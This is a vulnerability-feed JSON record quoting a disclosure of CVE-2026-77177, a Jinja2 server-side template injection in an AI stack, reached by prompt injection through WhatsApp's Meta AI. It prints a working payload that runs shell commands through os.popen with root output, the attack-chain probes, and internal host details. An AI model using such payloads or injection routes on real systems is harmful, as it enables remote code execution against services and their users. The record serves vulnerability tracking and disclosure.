{"vulnerability": "CVE-2026-77177", "sightings": [{"uuid": "df884814-c2ae-4b82-a072-6d27efdaed9c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-77177", "type": "seen", "source": "https://gist.github.com/abhi04anon/8ce0b68a5a7dda8a0501cbaf933173eb", "content": "Title: CVE-2026-77177\n\nVulnerability: Server-Side Template Injection (SSTI) in Open GenAI Stack (aka ogx-ai) 2026-06-11\n\nDescription:\nOpen GenAI Stack (aka ogx-ai) 2026-06-11, as used in the Meta AI backend for WhatsApp and other products, allows code execution because prompt injection (with Jinja2 template syntax) can be used to achieve server-side expression evaluation without sanitization.\n\nCVE ID: CVE-2026-77177\nCVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\nScore: 10.0 Critical\n\nAffected Product: Open GenAI Stack (ogx-ai) 2026-06-11\nGitHub: https://github.com/ogx-ai/ogx\nGitHub Advisory: https://github.com/ogx-ai/ogx/security/advisories/GHSA-q6fp-rfwr-759p\n\nProof of Concept:\nPayload: {{ config.__class__.__init__.__globals__['os'].popen('id').read() }}\nResponse: uid=0(root) gid=0(root) groups=0(root)\n\nAttack Chain:\n1. Prompt injection via WhatsApp Meta AI interface\n2. Jinja2 template expression evaluation confirmed: {{7*7}} = 49\n3. Shell subprocess confirmed: /bin/sh: 1: ps.popen: not found\n4. Full RCE achieved as root: uid=0(root) gid=0(root) groups=0(root)\n\nInfrastructure Disclosed:\n- Hostname: meta-ai-sandbox\n- OS: Ubuntu 20.04 LTS\n- Kernel: Linux 5.4.0-42-generic\n- Virtualization: KVM\n- Internal IP: 10.0.2.15/24\n\nDiscovered by: Abhirup Sarkar (GitHub: abhi04anon)\nDiscovery Date: June 11, 2026\nCVE Assigned: August 2026", "creation_timestamp": "2026-08-28T15:25:39.297277Z"}]}